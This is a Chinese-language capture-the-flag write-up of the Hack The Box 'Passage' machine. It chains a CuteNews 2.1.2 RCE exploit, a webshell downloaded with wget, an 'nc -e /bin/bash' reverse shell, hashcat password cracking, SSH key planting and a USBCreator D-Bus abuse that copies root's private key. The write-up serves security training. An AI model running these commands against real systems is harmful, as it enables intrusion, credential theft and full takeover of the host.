Hack the box_Passage 靶机渗透实战

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Hack the box_Passage 靶机渗透实战

freebuf
2021-07-28 11:16:14

WEB安全防御网络安全培训网络攻防课 WEB安全工程师渗透测试

简介 Passage是Hackthebox上一道难度为medium的靶机，比较适合初学者练手，在此记录一下实战解题的过程，感谢~

前言

Passage是Hackthebox上一道难度为medium的靶机，比较适合初学者练手，在此记录一下实战解题的过程，感谢~

主要涉及到的知识点：
CVE-2019-11447(CuteNews RCE)
hashcat破解
dbus提权

个人博客：https://fchestnut.github.io/

0x00 信息收集

使用nmap进行端口扫描，发现只有以下端口开放：

nmap -sC -sV -oA nmap 10.129.104.160
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-26 10:24 EST
Nmap scan report for 10.129.104.160
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Passage News
10621/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 258.09 seconds

页面打开为一个新闻界面，查看页面源码

<span><i class="icon-user icon-blog-mini"></i> By <a href="mailto:nadav@passage.htb">admin</a></span>
<span><i class="icon-user icon-blog-mini"></i> By <a href="mailto:kim@example.com">Kim Swift</a></span>

页面源码中包含passage.htb, admin:nadav@passage.htb, paul@passage.htb,kim@example.com, sid@example.com, 推断可能存在nadav, paul等用户。

Powered by CuteNews 2.1.2 © 2002–2021 CutePHP.

从http://10.129.104.160/CuteNews/index.php页面信息可以发现80端口网页使用的模板是CuteNews 2.1.2版本，Google发现存在RCE可以直接利用：https://www.exploit-db.com/exploits/48800。

0x01 获得foothold

利用exp脚本执行，可以直接获得www-data权限

_____     __      _  __                     ___   ___  ___ 
          / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
         / /__/ // / __/ -_)    / -_) |/|/ (_-<      / __/_ / / / __/ 
         \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/ 
                                ___  _________                        
                               / _ \/ ___/ __/                        
                              / , _/ /__/ _/                          
                             /_/|_|\___/___/                          
                                                                      

                                                                                                                                                   

[->] Usage python3 expoit.py

Enter the URL> http://10.129.90.135
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================

=============================
Registering a users
=============================
[+] Registration successful with username: ZmgRB8hLtC and password: ZmgRB8hLtC

=======================================================
Sending Payload
=======================================================
signature_key: 1e55ed33ba7b8dd6ad8b92b3433074d7-ZmgRB8hLtC
signature_dsi: 802a15242f360a141cc8c982deb26cc3
logged in user: ZmgRB8hLtC
============================
Dropping to a SHELL
============================

command > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

尝试使用python -c "import pty; pty.spawn('/bin/bash')"生成标准的bash ，发现行不通，exp脚本生成的bash不支持部分回显。进一步发现/CuteNews/uploads路径，可以看到上传的文件。尝试生成webshell通过SimpleHTTPServer传递。

command > pwd
/var/www/html/CuteNews/uploads

command > ls -la
total 20
drwxrwxrwx 2 www-data www-data 4096 Feb 26 07:43 .
drwxrwxr-x 9 www-data www-data 4096 Jun 18  2020 ..
-rw-r--r-- 1 www-data www-data   39 Feb 26 07:43 avatar_36fUuEQWLg_36fUuEQWLg.php
-rw-r--r-- 1 www-data www-data 1115 Aug 31 13:48 avatar_egre55_ykxnacpt.php
-rw-r--r-- 1 www-data www-data 1116 Aug 31 14:55 avatar_hacker_jpyoyskt.php

将/usr/share/seclists/Web-Shells/FuzzDB/cmd-simple.php复制到当前目录，使用python的简易HTTP服务上传webshell。

command > wget http://10.10.14.29:8000/exp.php


command > ls -la
total 24
drwxrwxrwx 2 www-data www-data 4096 Feb 26 07:51 .
drwxrwxr-x 9 www-data www-data 4096 Jun 18  2020 ..
-rw-r--r-- 1 www-data www-data   39 Feb 26 07:43 avatar_36fUuEQWLg_36fUuEQWLg.php
-rw-r--r-- 1 www-data www-data 1115 Aug 31 13:48 avatar_egre55_ykxnacpt.php
-rw-r--r-- 1 www-data www-data 1116 Aug 31 14:55 avatar_hacker_jpyoyskt.php
-rw-r--r-- 1 www-data www-data  328 Feb 26 07:49 exp.php

通过webshell反向连接主机http://passage.htb/CuteNews/uploads/exp.php?cmd=nc%20-e%20/bin/bash%2010.10.14.29%204444

┌──(root-kali)-[/home/fnut/passage]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.29] from (UNKNOWN) [10.129.104.160] 59634
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

使用python3 -c "import pty; pty.spawn('/bin/bash')"生成标准的shell。

python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@passage:/var/www/html/CuteNews/uploads$

0x02 权限提升-user

在/home目录下发现两个用户nadav/paul

www-data@passage:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root  root  4096 Jul 21  2020 .
drwxr-xr-x 23 root  root  4096 Jul 21  2020 ..
drwxr-x--- 17 nadav nadav 4096 Feb  2 17:24 nadav
drwxr-x--- 16 paul  paul  4096 Sep 30 05:08 paul

刚才RCE的payload中/CuteNews/cdata/users/lines发现的hashes如下

Enter the URL> http://10.129.104.160
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================

使用hashcat破解得到两个密码，第二个密码为paul密码

4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc:egre55
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd:atlanta1

www-data@passage:/home$ su paul
su paul
Password: atlanta1

paul@passage:/home$

为了获得完整的交互式shell，我们有两种方法。第一种就是通过paul文件夹下.ssh隐藏目录中的authorized_keys，添加自己主机ssh公钥可以直接ssh连到靶机。或者也可以复制id_rsa私钥，复制到本地，使用ssh -i id_rsa paul@10.129.x.x来连接到靶机。

ssh-keygen -t rsa -C xxxx
cat ~/.ssh/id_rsa.pub

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDG5YNTqrYspjD/1uwVgou+24/XTFvH2lzlM1NyYrR5DUrffFGBduqCgxf9IOACLK4XHCtw4bCritViKFaud7GRcTJLCL+YjTQ1DLGts9srkSpvXpJb7s22arNmWMYhiipJ2BIjfpAkw/rMsA6J7KQ6xWEpfsmlkU0VcAFZySZjiuH65c7eamA1Rq/FRl+uFebEFgaR9GkHpMG7dZ/2J49Z/bzUyAr4VTz8xFOKS0Tz7Y4p2z4hYHLc4+wVk54DQLdAskkRYf8oRIZl0xUoV4D11ioFrTN0VlOuZw4ILOlDRg5XU56tzAt7qY6GrCnrVnb1BwYrcf4kZ2rlGCZiDBEdTStqj/UB3gEut6IXrSw4bJf3/sHqIE5R8HAMRGcqrkK0Zh/jcNDkxYehNj7X8ZgRxzGq1n4+yVzah239EotYkXJO6MqagVevATdr/x/Joy4+JoI4TPXJ8bt3hYIWzxImbz3Ek1pbcJTYbuXhDmhidfbOpgDGPFt1q6rWO9fI5M=" >>authorized_keys

第二种就是ippsec大神的进化反弹shell的方法，先ctrl+Z将反弹shell的任务切换到后台运行，然后使用以下命令来让反弹shell获得TAB键等更方便操作的功能。

stty raw -echo;fg

并且我们发现.ssh/authorized_keys文件中包含有nadav用户的公钥

paul@passage:~/.ssh$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage

所以我们可以直接从paul用户使用ssh切换到nadav用户

paul@passage:~/.ssh$ ssh nadav@10.129.104.160
The authenticity of host '10.129.104.160 (10.129.104.160)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.129.104.160' (ECDSA) to the list of known hosts.
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$

0x03 权限提升-root

查看nadav用户所属的groups组

nadav@passage:~$ groups
nadav adm cdrom sudo dip plugdev lpadmin sambashare

查看当前运行的进程，发现运行了一个dbus进程

message+    693      1  0 07:14 ?        00:00:00 /usr/bin/dbus-daemon --system

搜索D-bus相关漏洞，发现如下文章，可以利用D-bus来覆盖或者获取某些root文件的信息

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

尝试使用D-bus漏洞，重写/etc/passwd文件(不可行)。因为即使添加了无密码root权限用户，也无法使用ssh登录

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/passwd /etc/passwd true

尝试重写公钥文件也不可行，ssh登录强制要求输入密码，只能偷取私钥文件

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/root_keys true

利用获取到的ssh私钥连接

ssh -i root_id_rsa root@x.x.x.x

┌──(potato-kali)-[/home/fnut/passage]
└─$ ssh -i id_rsa_root root@10.129.104.160
Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)

Done!~

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